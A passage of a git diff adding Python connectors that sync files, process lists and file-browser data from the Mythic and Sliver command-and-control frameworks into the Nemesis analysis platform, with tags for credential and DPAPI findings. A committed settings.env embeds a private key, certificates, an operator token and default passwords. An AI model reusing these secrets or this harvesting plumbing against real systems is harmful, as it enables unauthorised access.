handle_file(mythic_instance: mythic_classes.Mythic) -> None: + """ + Start a subscription for Mythic tasks and handle them. + + **Parameters** + + ``mythic_instance`` + The Mythic instance to be used to query the Mythic database + """ + + # # clear Redis, for testing + # for key in rconn.keys('*'): + # rconn.delete(key) + + try: + start_id = rconn.get("last_file_id") + except: + rconn.mset({"last_file_id": 0}) + start_id = 0 + + start_id = 39 + + nemesis_file_subscription = """ + subscription NemesisFileSubscription { + filemeta_stream(cursor: {initial_value: {id: %s}}, batch_size: 5, where: {is_download_from_agent: {_eq: true}, complete: {_eq: true}, is_screenshot: {_eq: false}}) { + filename_text + full_remote_path_text + id + host + agent_file_id + timestamp + task { + callback { + agent_callback_id + operation { + name + } + } + id + } + chunk_size + chunks_received + } + } + """ % ( + start_id + ) + + mythic_sync_log.info("Starting subscription for file data") + async for data in mythic.subscribe_custom_query(mythic=mythic_instance, query=nemesis_file_subscription): + try: + file_meta = data["filemeta_stream"][0] + mythic_file_id = file_meta["agent_file_id"] + file_id = file_meta["id"] + task_id = file_meta["task"]["id"] + + chunk_size = int(file_meta["chunk_size"]) + chunks_received = int(file_meta["chunks_received"]) + est_file_size = chunk_size * chunks_received + + redis_key = f"filemeta{mythic_file_id}" + + try: + redis_entry_id = rconn.get(redis_key) + except: + redis_entry_id = None + + if not redis_entry_id: + + mythic_sync_log.info(f"New file download with id '{mythic_file_id}'") + + # TODO: depending on file size, determine if we want to hold this in memory + # Is there some other option that lets us stream to disk instead? + + if est_file_size > MAX_FILE_SIZE: + await add_mythic_tag(mythic_instance, "above_size_limit", filemeta_id=file_id, task_id=task_id) + raise Exception(f"File is over {MAX_FILE_SIZE} bytes, not processing") + + # download the file bytes from Mythic + # TODO: chunking to get around the size limit? + file_bytes = await mythic.download_file(mythic=mythic_instance, file_uuid=mythic_file_id) + file_size = len(file_bytes) + + # upload the file to Nemesis and get a new file UUID back for reference + nemesis_file_id = nemesis_post_file(file_bytes) + mythic_sync_log.info(f"File posted to Nemesis, nemesis_file_id: {nemesis_file_id}") + + if not nemesis_file_id: + raise Exception("No nemesis_file_id returned from file upload") + + del file_bytes + + metadata = {} + metadata["agent_id"] = file_meta["task"]["callback"]["agent_callback_id"] + metadata["agent_type"] = "mythic" + metadata["automated"] = True + metadata["data_type"] = "file_data" + metadata["expiration"] = convert_timestamp(file_meta["timestamp"], EXPIRATION_DAYS) + # metadata["source"] = file_meta["host"] + metadata["project"] = file_meta["task"]["callback"]["operation"]["name"] + metadata["timestamp"] = convert_timestamp(file_meta["timestamp"]) + + file_data = {} + file_data["path"] = base64.b64decode(file_meta["full_remote_path_text"]).decode("utf-8").replace("\\", "/") + # filename_text = base64.b64decode(file_meta["filename_text"]).decode("utf-8") + file_data["size"] = file_size + file_data["object_id"] = nemesis_file_id + + # post to the Nemesis data API (`data`` needs to be an array of dictionaries!) + resp = nemesis_post_data({"metadata": metadata, "data": [file_data]}) + + message_id = resp["object_id"] + mythic_sync_log.info(f"Nemesis message_id for submitted file_data: {message_id}") + + # mark this file as processed in Redis now that it was submitted + rconn.mset({redis_key: 1}) + + # mark this Mythic ID as the last processed file ID + last_file_id = rconn.get("last_file_id") + if file_id > last_file_id: + rconn.mset({"last_file_id": file_id}) + + # get the metadata for the processed file from Elasticsearch + file_metadata = await get_processed_file_metadata(message_id) + + if not file_metadata: + mythic_sync_log.error("Couldn't retrieve metadata for processed file!") + continue + + mythic_sync_log.debug(f"File metadata for {message_id} retrieved from Elastic") + + # this is any metadata that we're doing to display as JSON for the "file_metadata" tag + file_metadata_display = {} + if "size" in file_metadata and file_metadata["size"]: + file_metadata_display["size"] = file_metadata["size"] + if "isBinary" in file_metadata and file_metadata["isBinary"]: + file_metadata_display["is_binary"] = "true" + if "isOfficeDoc" in file_metadata and file_metadata["isOfficeDoc"]: + file_metadata_display["is_office_doc"] = "true" + if "magicType" in file_metadata and file_metadata["magicType"]: + file_metadata_display["magic_type"] = file_metadata["magicType"] + if "nemesisFileType" in file_metadata and file_metadata["nemesisFileType"]: + file_metadata_display["nemesis_file_type"] = file_metadata["nemesisFileType"] + + if "objectIdURL" in file_metadata and file_metadata["objectIdURL"]: + file_metadata_display["Download File"] = file_metadata["objectIdURL"] + if "extractedSourceURL" in file_metadata and file_metadata["extractedSourceURL"]: + file_metadata_display["Download Decompiled Source"] = file_metadata["extractedSourceURL"] + if "convertedPdfURL" in file_metadata and file_metadata["convertedPdfURL"]: + file_metadata_display["View Converted PDF"] = file_metadata["convertedPdfURL"] + if "extractedPlaintextURL" in file_metadata and file_metadata["extractedPlaintextURL"]: + file_metadata_display["Extracted Plaintext (Elastic)"] = file_metadata["extractedPlaintextURL"] + + # TODO: fixate the index ID + kibana_file_link = f"{KIBANA_URL}/app/discover#/?_a=(filters:!((query:(match_phrase:(objectId:'{nemesis_file_id}')))))&_g=(time:(from:now-1y%2Fd,to:now))" + + # update the comment for the file in Mythic to indicate it was processed + await mythic.update_file_comment(mythic_instance, file_uuid=mythic_file_id, comment="Processed by Nemesis đź") + + # add a basic metadata Mythic tag + await add_mythic_tag(mythic_instance, "file_metadata", filemeta_id=file_id, task_id=task_id, url=kibana_file_link, data=json.dumps(file_metadata_display)) + + # custom tags + if ("containsDpapi" in file_metadata) and (file_metadata["containsDpapi"]): + await add_mythic_tag(mythic_instance, "contains_dpapi", filemeta_id=file_id, task_id=task_id, url=kibana_file_link) + + if ("parsedData" in file_metadata) and ("hasParsedCredentials" in file_metadata["parsedData"]) and file_metadata["parsedData"]["hasParsedCredentials"]: + await add_mythic_tag(mythic_instance, "parsed_credentials", filemeta_id=file_id, task_id=task_id, url=kibana_file_link) + + if ("analysis" in file_metadata) and ("dotnetDeserialization" in file_metadata["analysis"]) and (file_metadata["analysis"]["dotnetDeserialization"]["hasDeserialization"] == 1): + await add_mythic_tag(mythic_instance, "deserialization", filemeta_id=file_id, task_id=task_id, url=kibana_file_link) + + if ("parsedData" in file_metadata) and ("isEncrypted" in file_metadata["parsedData"]) and file_metadata["parsedData"]["isEncrypted"]: + await add_mythic_tag(mythic_instance, "encrypted", filemeta_id=file_id, task_id=task_id, url=kibana_file_link) + + if ("yaraMatches" in file_metadata) and (file_metadata["yaraMatches"]): + rule_names = ", ".join(file_metadata["yaraMatches"]) + data = json.dumps({"rule_names": rule_names}) + await add_mythic_tag(mythic_instance, "yara_matches", filemeta_id=file_id, task_id=task_id, url=kibana_file_link, data=data) + + if ("noseyparker" in file_metadata) and (file_metadata["noseyparker"]): + rule_names_dict = {} + for match in file_metadata["noseyparker"]["ruleMatches"]: + rule_names_dict[match["ruleName"]] = True + rule_names = ", ".join(rule_names_dict.keys()) + data = json.dumps({"rule_names": rule_names}) + await add_mythic_tag(mythic_instance, "noseyparker", filemeta_id=file_id, task_id=task_id, url=kibana_file_link, data=data) + + except Exception: + mythic_sync_log.exception( + "Encountered an exception! Data returned by Mythic: %s", + data, + ) + continue + + +async def handle_filebrowser(mythic_instance: mythic_classes.Mythic) -> None: + """ + Start a subscription for Mythic tasks and handle them. + + **Parameters** + + ``mythic_instance`` + The Mythic instance to be used to query the Mythic database + """ + + try: + start_id = rconn.get("last_filebrowser_id") + except: + rconn.mset({"last_filebrowser_id": 0}) + start_id = 0 + + nemesis_filebrowser_subscription = """ + subscription NemesisFileBrowserSubscription { + mythictree_stream(batch_size: 100, cursor: {initial_value: {id: %s}}, where: {tree_type: {_eq: "file"}}) { + id + host + full_path_text + name_text + parent_path_text + timestamp + can_have_children + metadata + } + } + """ % ( + start_id + ) + + mythic_sync_log.info("Starting subscription for file browser information") + async for data in mythic.subscribe_custom_query(mythic=mythic_instance, query=nemesis_filebrowser_subscription): + + # group by the agent ID + all_data = {} + + files = data["mythictree_stream"] + + for file in files: + mythic_id = file["id"] + redis_key = f"filebrowser{mythic_id}" + + try: + redis_entry_id = rconn.get(redis_key) + except: + redis_entry_id = None + + if not redis_entry_id: + callback_id = file["task"]["callback"]["agent_callback_id"] + + # build the metadata entry on first encounter of this agent ID + if callback_id not in all_data: + metadata = {} + metadata["agent_id"] = callback_id + metadata["agent_type"] = "mythic" + metadata["automated"] = True + metadata["data_type"] = "process" + metadata["expiration"] = convert_timestamp(file["timestamp"], EXPIRATION_DAYS) + metadata["source"] = file["host"] + metadata["project"] = file["task"]["callback"]["operation"]["name"] + metadata["timestamp"] = convert_timestamp(file["timestamp"]) + + all_data[callback_id] = {} + all_data[callback_id]["metadata"] = metadata + all_data[callback_id]["data"] = list() + + file_data = {} + file_data["path"] = file["full_path_text"].replace("\\", "/") + file_data["size"] = file["metadata"]["size"] + + if file["can_have_children"]: + file_data["type"] = "folder" + else: + file_data["type"] = "file" + + if "access_time" in file["metadata"] and file["metadata"]["access_time"]: + file_data["access_time"] = convert_timestamp(file["metadata"]["access_time"]) + if "modify_time" in file["metadata"] and file["metadata"]["modify_time"]: + file_data["modification_time"] = convert_timestamp(file["metadata"]["modify_time"]) + + # TODO: translate file["metadata"]["permissions"] to sddl + + all_data[callback_id]["data"].append(file_data) + + # mark this file browser entry as seen + # TODO: does this need to be after the nemesis_post_data call? + rconn.mset({redis_key: 1}) + + # mark this Mythic ID as the last processed process ID + last_filebrowser_id = rconn.get("last_filebrowser_id") + if mythic_id > last_filebrowser_id: + rconn.mset({"last_filebrowser_id": mythic_id}) + + # for each unique agent ID, issue one request with all batched file browser information + # but using the same metadata entry + for key in all_data: + nemesis_post_data(all_data[key]) + + +async def handle_process(mythic_instance: mythic_classes.Mythic, chunk_size: int = 100) -> None: + """ + **Parameters** + + ``mythic_instance`` + The Mythic instance to be used to query the Mythic database + + ``chunk_size`` + The number of process results to handle at a time. + """ + + # # clear Redis, for testing + # for key in rconn.keys("*"): + # rconn.delete(key) + + try: + start_id = rconn.get("last_process_id") + except: + rconn.mset({"last_process_id": 0}) + start_id = 0 + + nemesis_process_subscription = """ + subscription NemesisProcessSubscription { + mythictree_stream(batch_size: %s, cursor: {initial_value: {id: %s}}, where: {tree_type: {_eq: "process"}}) { + id + metadata + host + timestamp + task { + callback { + agent_callback_id + operation { + name + } + } + } + } + } + """ % (chunk_size, start_id) + + mythic_sync_log.info("Starting subscription for process data") + async for data in mythic.subscribe_custom_query(mythic=mythic_instance, query=nemesis_process_subscription): + + # group by the callback ID + all_data = {} + + # lookup table to get the process entry ID easily, keyed by callback ID + mythic_process_lookup_table = {} + + processes = data["mythictree_stream"] + + for process in processes: + mythic_id = process["id"] + redis_key = f"process{mythic_id}" + + try: + redis_entry_id = rconn.get(redis_key) + except: + redis_entry_id = None + + if not redis_entry_id: + callback_id = process["task"]["callback"]["agent_callback_id"] + + # build the metadata entry on first encounter of this agent ID + if callback_id not in all_data: + metadata = {} + metadata["agent_id"] = callback_id + metadata["agent_type"] = "mythic" + metadata["automated"] = True + metadata["data_type"] = "process" + metadata["expiration"] = convert_timestamp(process["timestamp"], EXPIRATION_DAYS) + metadata["source"] = process["host"] + metadata["project"] = process["task"]["callback"]["operation"]["name"] + metadata["timestamp"] = convert_timestamp(process["timestamp"]) + + all_data[callback_id] = {} + all_data[callback_id]["metadata"] = metadata + all_data[callback_id]["data"] = list() + + # integrity levels: + # 0 - unknown + # 1 - low + # 2 - medium + # 3 - high + # 4 - system + process_data = {} + process_data["name"] = process["metadata"]["name"] + process_data["command_line"] = process["metadata"]["command_line"] + + if ("bin_path" in process["metadata"]) and (process["metadata"]["bin_path"]): + process_data["file_name"] = ntpath.basename(process["metadata"]["bin_path"]) + if process_data["file_name"]: + process_data["name"] = process_data["file_name"] + + process_data["process_id"] = process["metadata"]["process_id"] + process_data["parent_process_id"] = process["metadata"]["parent_process_id"] + process_data["arch"] = process["metadata"]["architecture"] + + # if ("start_time" in process["metadata"]) and (process["metadata"]["start_time"] is not None) and (process["metadata"]["start_time"] != 0): + # process_data["start_time"] = convert_timestamp(process["metadata"]["start_time"]) + + process_data["token"] = {"user": {"name": process["metadata"]["user"]}} + + all_data[callback_id]["data"].append(process_data) + + if callback_id not in mythic_process_lookup_table: + mythic_process_lookup_table[callback_id] = {} + + # map {name}{process_id} to the mythictree ID for later tagging + name = process_data["name"] + process_id = process_data["process_id"] + key = f"{name}{process_id}" + mythic_process_lookup_table[callback_id][key] = mythic_id + + # mark this process entry as seen + # TODO: does this need to be after the nemesis_post_data call? + rconn.mset({redis_key: 1}) + + # mark this Mythic ID as the last processed process ID + last_process_id = rconn.get("last_process_id") + if mythic_id > last_process_id: + rconn.mset({"last_process_id": mythic_id}) + + # for each unique agent ID, issue one request with all batched processes + # but using the same metadata entry + for key in all_data: + resp = nemesis_post_data(all_data[key]) + message_id = resp["object_id"] + mythic_sync_log.info(f"Nemesis message_id for submitted process data: {message_id}") + + # get the metadata for the processed file from Elasticsearch + nemesis_processes = await get_process_metadata(message_id, chunk_size) + + for nemesis_process in nemesis_processes: + if "name" in nemesis_process["origin"]: + name = nemesis_process["origin"]["name"] + else: + name = "" + + if "processId" in nemesis_process["origin"]: + process_id = nemesis_process["origin"]["processId"] + else: + process_id = "" + + tag_calls = [] + key = f"{name}{process_id}" + if key in mythic_process_lookup_table[callback_id]: + category = nemesis_process["category"]["category"] + + if category != "Unknown": + mythictree_id = mythic_process_lookup_table[callback_id][key] + + if "description" in nemesis_process["category"]: + description = nemesis_process["category"]["description"] + data = json.dumps({"description": description}) + else: + data = "" + + tag_calls.append(add_mythic_tag(mythic_instance, category, mythictree_id=mythictree_id, data=data)) + + await asyncio.gather(*tag_calls) + + +async def add_mythic_tag(mythic_instance: mythic_classes.Mythic, tag_name: str, source: str = "Nemesis", filemeta_id: int = -1, mythictree_id: int = -1, task_id: int = -1, url: str = "", data: str = ""): + """Adds a file or process tag from an existing tag type.""" + + if filemeta_id != -1: + filemeta_ids = [filemeta_id] + else: + filemeta_ids = None + + if mythictree_id != -1: + mythictree_ids = [mythictree_id] + else: + mythictree_ids = None + + if task_id != -1: + task_ids = [task_id] + else: + task_ids = None + + if tag_name not in NEMESIS_TAGS: + mythic_sync_log.warning(f"Tag name '{tag_name}' not in the existing tag set.") + else: + if NEMESIS_TAGS[tag_name].id == -1: + mythic_sync_log.warning(f"Tag name '{tag_name}' not initialized properly.") + else: + await mythic.create_tag(mythic=mythic_instance, tag_type_id=NEMESIS_TAGS[tag_name].id, filemeta_ids=filemeta_ids, mythictree_ids=mythictree_ids, task_ids=task_ids, source=source, url=url, data=data) + + +async def create_tag_types(mythic_instance: mythic_classes.Mythic): + """Creates the Mythic tag types from NEMESIS_TAGS.""" + + for tag_name, tag in NEMESIS_TAGS.items(): + tag_info = await mythic.create_tag_type(mythic=mythic_instance, color=tag.color, description=tag.description, name=tag_name) + # save this ID off for caching + if "id" in tag_info: + tag.id = tag_info["id"] + + +async def wait_for_service() -> None: + """Wait for an HTTP session to be established with Mythic.""" + while True: + mythic_sync_log.info(f"Attempting to connect to {MYTHIC_URL}") + async with aiohttp.ClientSession() as session: + async with session.get(MYTHIC_URL, ssl=False) as resp: + if resp.status != 200: + mythic_sync_log.warning( + "Expected 200 OK and received HTTP code %s while trying to connect to Mythic, trying again in %s seconds...", + resp.status, + WAIT_TIMEOUT, + ) + await asyncio.sleep(WAIT_TIMEOUT) + continue + return + + +async def wait_for_redis() -> None: + """Wait for a connection to be established with Mythic's Redis container.""" + global rconn + while True: + try: + rconn = redis.Redis(host=REDIS_HOSTNAME, port=REDIS_PORT, db=1) + # we're only using ints for our redis DB + rconn.set_response_callback("GET", int) + return + except Exception: + mythic_sync_log.exception( + "Encountered an exception while trying to connect to Redis, %s:%s, trying again in %s seconds...", + REDIS_HOSTNAME, + REDIS_PORT, + WAIT_TIMEOUT, + ) + await asyncio.sleep(WAIT_TIMEOUT) + continue + + +async def wait_for_authentication() -> mythic_classes.Mythic: + """Wait for authentication with Mythic to complete.""" + while True: + # If ``MYTHIC_API_KEY`` is not set in the environment, then authenticate with user credentials + if len(MYTHIC_API_KEY) == 0: + mythic_sync_log.info( + "Authenticating to Mythic, https://%s:%s, with username and password", + MYTHIC_IP, + MYTHIC_PORT, + ) + try: + mythic_instance = await mythic.login( + username=MYTHIC_USERNAME, + password=MYTHIC_PASSWORD, + server_ip=MYTHIC_IP, + server_port=MYTHIC_PORT, + ssl=True, + timeout=-1, + ) + except Exception: + mythic_sync_log.exception( + "Encountered an exception while trying to authenticate to Mythic, trying again in %s seconds...", + WAIT_TIMEOUT, + ) + await asyncio.sleep(WAIT_TIMEOUT) + continue + try: + # await mythic.get_me(mythic=mythic_instance) # TODO: replace? + pass + except Exception: + mythic_sync_log.exception( + "Encountered an exception while trying to authenticate to Mythic, trying again in %s seconds...", + WAIT_TIMEOUT, + ) + await asyncio.sleep(WAIT_TIMEOUT) + continue + elif MYTHIC_USERNAME == "" and MYTHIC_PASSWORD == "": + mythic_sync_log.error("You must supply a MYTHIC_USERNAME and MYTHIC_PASSWORD") + sys.exit(1) + elif NEMESIS_URL == "": + mythic_sync_log.error("You must supply a NEMESIS_URL") + sys.exit(1) + elif NEMESIS_CREDS == "": + mythic_sync_log.error("You must supply NEMESIS_CREDS") + sys.exit(1) + else: + mythic_sync_log.info( + "Authenticating to Mythic, https://%s:%s, with a specified API Key", + MYTHIC_IP, + MYTHIC_PORT, + ) + try: + mythic_instance = await mythic.login( + apitoken=MYTHIC_API_KEY, + server_ip=MYTHIC_IP, + server_port=MYTHIC_PORT, + ssl=True, + global_timeout=-1, + ) + # await mythic.get_me(mythic=mythic_instance) # TODO: replace? + except Exception: + mythic_sync_log.exception( + "Failed to authenticate with the Mythic API token, trying again in %s seconds...", + WAIT_TIMEOUT, + ) + await asyncio.sleep(WAIT_TIMEOUT) + continue + + return mythic_instance + + +async def wait_for_elasticsearch() -> None: + """Wait for a connection to be established with Nemesis' Elasticsearch container.""" + global es_client + while True: + try: + es_client = Elasticsearch(ELASTICSEARCH_URL, basic_auth=(ELASTICSEARCH_USER, ELASTICSEARCH_PASSWORD), verify_certs=False) + es_client.info() + return + except Exception: + mythic_sync_log.exception( + "Encountered an exception while trying to connect to Elasticsearch %s, trying again in %s seconds...", + ELASTICSEARCH_URL, + WAIT_TIMEOUT, + ) + await asyncio.sleep(WAIT_TIMEOUT) + continue + + +async def scripting(): + while True: + await wait_for_redis() + mythic_sync_log.info("Successfully connected to Redis") + await wait_for_elasticsearch() + mythic_sync_log.info("Successfully connected to Nemesis-Elasticsearch") + await wait_for_service() + mythic_sync_log.info(f"Successfully connected to {MYTHIC_URL}") + mythic_sync_log.info("Trying to authenticate to Mythic") + mythic_instance = await wait_for_authentication() + mythic_sync_log.info("Successfully authenticated to Mythic") + # create our initial tags + mythic_sync_log.info("Creating tag types") + await create_tag_types(mythic_instance) + mythic_sync_log.info("Successfully created tag types") + + try: + _ = await asyncio.gather( + handle_file(mythic_instance=mythic_instance), + # handle_process(mythic_instance=mythic_instance), + # handle_filebrowser(mythic_instance=mythic_instance), + ) + except Exception: + mythic_sync_log.exception("Encountered an exception while subscribing to tasks and responses, restarting...") + + +asyncio.run(scripting()) diff --git a/cmd/connectors/sliver-connector/.gitignore b/cmd/connectors/sliver-connector/.gitignore new file mode 100644 index 0000000..2ca290f --- /dev/null +++ b/cmd/connectors/sliver-connector/.gitignore @@ -0,0 +1 @@ +./sliver \ No newline at end of file diff --git a/cmd/connectors/sliver-connector/Dockerfile b/cmd/connectors/sliver-connector/Dockerfile new file mode 100644 index 0000000..e035f2c --- /dev/null +++ b/cmd/connectors/sliver-connector/Dockerfile @@ -0,0 +1,10 @@ +FROM python:3.10.5-alpine3.15 + +COPY requirements.txt . +RUN pip install --upgrade pip \ + && pip install -r requirements.txt + +WORKDIR /app +COPY sliver_service /app/sliver_service + +CMD ["python", "-m", "sliver_service"] diff --git a/cmd/connectors/sliver-connector/README.md b/cmd/connectors/sliver-connector/README.md new file mode 100644 index 0000000..50ac57e --- /dev/null +++ b/cmd/connectors/sliver-connector/README.md @@ -0,0 +1,44 @@ +# Sliver Connector + +## Getting Started +1. Get Sliver configuration + +``` +cat ~/.sliver-client/configs/.cfg +``` + +2. Configure settings.env with Sliver settings + +``` +SLIVER_OPERATOR="..." +SLIVER_LHOST="..." +SLIVER_LPORT=31337 +SLIVER_CA_CERT="..." +SLIVER_PRIVATE_KEY="..." +SLIVER_CERT="..." +SLIVER_TOKEN="..." +``` + +3. Configure settings.env with Nemesis settings + +``` +NEMESIS_HTTP_SERVER=http://127.0.0.1 +NEMESIS_CREDS=nemesis:password +``` + +4. Install dependencies + +``` +pip3 install -r requirements.txt +``` + +5. Start `sliver_service` + +``` +python3 -m sliver_service +``` + +# TODO + +- See if you can pull agent ID. Doesn't seem possible from RPC endpoint +- Try to collect usernames/passwords \ No newline at end of file diff --git a/cmd/connectors/sliver-connector/docker-compose.yml b/cmd/connectors/sliver-connector/docker-compose.yml new file mode 100644 index 0000000..3ecfe00 --- /dev/null +++ b/cmd/connectors/sliver-connector/docker-compose.yml @@ -0,0 +1,8 @@ +version: "3" +services: + sliver_nemesis_sync: + build: . + env_file: + - settings.env + redis: + image: redis:5-alpine diff --git a/cmd/connectors/sliver-connector/generate.sh b/cmd/connectors/sliver-connector/generate.sh new file mode 100644 index 0000000..04370b6 --- /dev/null +++ b/cmd/connectors/sliver-connector/generate.sh @@ -0,0 +1,20 @@ +#!/bin/bash + +PROTOBUF_DIR="sliver/protobuf" +LIB_OUT="sliver_service/pb" + +if [ -f "sliver" ]; then + echo "Sliver path already exists" +else + git clone https://github.com/BishopFox/sliver +fi + +if [ -f $LIB_OUT ]; then + echo "PBs path already exists" +else + mkdir $LIB_OUT +fi + +for dir in $(find $PROTOBUF_DIR -type d); do + python3 -m grpc_tools.protoc --proto_path=$PROTOBUF_DIR --python_out=$LIB_OUT --grpc_python_out=$LIB_OUT $dir/*.proto +done \ No newline at end of file diff --git a/cmd/connectors/sliver-connector/requirements.txt b/cmd/connectors/sliver-connector/requirements.txt new file mode 100644 index 0000000..0eb253f --- /dev/null +++ b/cmd/connectors/sliver-connector/requirements.txt @@ -0,0 +1,4 @@ +aiohttp==3.8.4 +grpcio==1.54.2 +grpcio-tools==1.54.2 +protobuf==3.20.3 \ No newline at end of file diff --git a/cmd/connectors/sliver-connector/settings.env b/cmd/connectors/sliver-connector/settings.env new file mode 100644 index 0000000..9ab3e6b --- /dev/null +++ b/cmd/connectors/sliver-connector/settings.env @@ -0,0 +1,16 @@ +SLIVER_OPERATOR=nemesis +SLIVER_LHOST=localhost +SLIVER_LPORT=31337 +SLIVER_CA_CERT="-----BEGIN CERTIFICATE-----\nMIICJjCCAYegAwIBAgIRAN5uex4IKGkWMTQOn0AWOWswCgYIKoZIzj0EAwQwFDES\nMBAGA1UEAxMJb3BlcmF0b3JzMB4XDTIyMDYxOTE0NDQxM1oXDTI1MDYxODE0NDQx\nM1owFDESMBAGA1UEAxMJb3BlcmF0b3JzMIGbMBAGByqGSM49AgEGBSuBBAAjA4GG\nAAQBlgbvgpyU/j+dcq8pr5wWUZe2NNM90lBQQBkBtTFmZwDPtrxIm/YtHErQAsQ3\n+tErFdPA970qyxMhkksJBwQtUtUBwAWXlC4OV3WAGbKlDamfHW4urZS+b07YkxgL\nwjEj4fJIKlhYpQOlQK+pLYCPgqbqYvThEzXgr7wie6hTSStQa0ujdzB1MA4GA1Ud\nDwEB/wQEAwICpDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDwYDVR0T\nAQH/BAUwAwEB/zAdBgNVHQ4EFgQUXvmpp37mljYD6qEABqjVSDF37QkwFAYDVR0R\nBA0wC4IJb3BlcmF0b3JzMAoGCCqGSM49BAMEA4GMADCBiAJCAI2MJWiF6tH1Pti/\nz0ay57aboGnLCWlKLSVLbO/XRbDfQr4cHmd82ep6ZcHxsrUR9ut67ASdqey4SF1a\nX3yPO+FBAkIA0kb2Rg8gH0lv1slJVstmjpQUUWBZ0hcjTn6DMK4pKOqbQ8u+mAU+\n02SWuDhtFy5YCel6kcsw5+CKtz+5zQWX9cc=\n-----END CERTIFICATE-----\n" +SLIVER_PRIVATE_KEY="-----BEGIN EC PRIVATE KEY-----\nMIGkAgEBBDBebnB8Poe6nBdyAU8ASkWXHnaq5aiviPa5qefpeacJtIBxTQd8YzV2\n3GMwwwfaWHCgBwYFK4EEACKhZANiAAQrcJ6QSJSH6N7MOgb1170YKRb0W5AOzvPn\n8QT2ApBzKpEOV0Bk5IRL97TNdL4ZqGHv3ieR4a+5ItNx1Tq/J8+tZfhmqBvy2MIY\n8lmN5OA5YT0iAVrXV1Qw0GjR9lBTIDc=\n-----END EC PRIVATE KEY-----\n" +SLIVER_CERT="-----BEGIN CERTIFICATE-----\nMIIByzCCASygAwIBAgIRAKuQgfug699Yzy+AnjWpyCQwCgYIKoZIzj0EAwQwFDES\nMBAGA1UEAxMJb3BlcmF0b3JzMB4XDTIzMDEwNzE1NDQxM1oXDTI2MDEwNjE1NDQx\nM1owDjEMMAoGA1UEAxMDbWF4MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEK3CekEiU\nh+jezDoG9de9GCkW9FuQDs7z5/EE9gKQcyqRDldAZOSES/e0zXS+Gahh794nkeGv\nuSLTcdU6vyfPrWX4Zqgb8tjCGPJZjeTgOWE9IgFa11dUMNBo0fZQUyA3o0gwRjAO\nBgNVHQ8BAf8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwIwHwYDVR0jBBgwFoAU\nXvmpp37mljYD6qEABqjVSDF37QkwCgYIKoZIzj0EAwQDgYwAMIGIAkIB9g2lNFI5\no4HUQrfSm2VmXt9KeRxnD6xVcdHw6zGyjAXfvU5BVP56khiR+KkKtM5ASr9h6SNV\nkYrMwimv8G7VbGQCQgCob/7R3+EtU9VwOnxDWs9moim+TjzoKbQ1OpFGbLHoV7do\nDv7CfWnZsQyePdBrB0j27dAJFmwf/iMjIkpV3fhJFg==\n-----END CERTIFICATE-----\n" +SLIVER_TOKEN='ba651d86577a8c06ecf9400e85567fd9e669a49ae320a193c9cfabf47fc2b6f8' + +NEMESIS_HTTP_SERVER=http://127.0.0.1:8000 +NEMESIS_URL=http://127.0.0.1:8080 +NEMSIS_PUBLIC_IP=172.16.111.185 +NEMESIS_CREDS=nemesis:password +KIBANA_PUBLIC_PORT=8443 +ELASTICSEARCH_URL=https://127.0.0.1:9200 +ELASTICSEARCH_USER=elastic +ELASTICSEARCH_PASSWORD=password \ No newline at end of file diff --git a/cmd/connectors/sliver-connector/sliver_service/__init__.py b/cmd/connectors/sliver-connector/sliver_service/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/cmd/connectors/sliver-connector/sliver_service/__main__.py b/cmd/connectors/sliver-connector/sliver_service/__main__.py new file mode 100644 index 0000000..8789f00 --- /dev/null +++ b/cmd/connectors/sliver-connector/sliver_service/__main__.py @@ -0,0 +1,174 @@ +from dataclasses import dataclass, asdict +import logging +import os +from typing import List, Optional, AsyncGenerator +import aiohttp +from datetime import datetime, timedelta +import asyncio + +from sliver_service.pb.commonpb import common_pb2 as commonpb +from sliver_service.pb.clientpb import client_pb2 as clientpb + +from sliver_service.sliver import SliverClientConfig, SliverClient + +logger = logging.getLogger(__name__) + + +class Config: + def __init__(self): + self.expiration_days = 30 + self.nemesis_http_server = self.get_env_var("NEMESIS_HTTP_SERVER") + self.nemesis_creds = self.get_env_var("NEMESIS_CREDS") + self.elasticsearch_user = self.get_env_var("ELASTICSEARCH_USER") + self.elasticsearch_password = self.get_env_var("ELASTICSEARCH_PASSWORD") + + self.sliver_operator = self.get_env_var("SLIVER_OPERATOR") + self.sliver_lhost = self.get_env_var("SLIVER_LHOST") + self.sliver_lport = int(self.get_env_var("SLIVER_LPORT")) + self.sliver_ca_cert = self.get_env_var("SLIVER_CA_CERT") + self.sliver_cert = self.get_env_var("SLIVER_CERT") + self.sliver_private_key = self.get_env_var("SLIVER_PRIVATE_KEY") + self.sliver_token = self.get_env_var("SLIVER_TOKEN") + self.nemesis_url = f"{self.nemesis_http_server}/api" + self.elasticsearch_url = f"{self.nemesis_http_server}/elastic" + self.kibana_url = f"{self.nemesis_http_server}/kibana" + + @staticmethod + def get_env_var(name): + value = os.environ.get(name) + if value is None: + raise ValueError(f"{name} environment variable is not set.") + return value.replace("\\n", "\n") if isinstance(value, str) else value + + +@dataclass +class Metadata: + agent_id: str + agent_type: str + automated: bool + data_type: str + expiration: str + source: str + project: str + timestamp: str + + +async def nemesis_post_data( + session: aiohttp.ClientSession, + config: Config, + metadata: Metadata, + content: List[dict], +) -> Optional[dict]: + data = {"metadata": asdict(metadata), "data": content} + url = f"{config.nemesis_url}/data" + async with session.post( + url, json=data, auth=aiohttp.BasicAuth(*config.nemesis_creds.split(":")) + ) as resp: + if resp.status != 200: + logger.error( + f"Error posting to Nemesis URL {url}. Status: {resp.status}. Message: {await resp.text()}" + ) + return None + return await resp.json() + + +async def nemesis_post_file( + session: aiohttp.ClientSession, config: Config, file_bytes: bytes +) -> Optional[str]: + url = f"{config.nemesis_url}/file" + async with session.post( + url, + data=file_bytes, + auth=aiohttp.BasicAuth(*config.nemesis_creds.split(":")), + headers={"Content-Type": "application/octet-stream"}, + ) as resp: + if resp.status != 200: + logger.error( + f"Error uploading file to Nemesis URL {url}. Status: {resp.status}" + ) + return None + json_result = await resp.json() + return json_result.get("object_id") + + +def generate_config() -> SliverClientConfig: + config = Config() + return SliverClientConfig( + config.sliver_operator, + config.sliver_lhost, + config.sliver_lport, + config.sliver_ca_cert, + config.sliver_cert, + config.sliver_private_key, + config.sliver_token, + ) + + +@dataclass +class FileData: + path: str + size: int + object_id: str + + +async def get_loot_from_id( + client: SliverClient, loot_id: str +) -> Optional[clientpb.Loot]: + loots = (await client.loot_all()).Loot + for loot in loots: + if loot.ID == loot_id: + content = await client.loot_content(loot) + return content + return None + + +async def 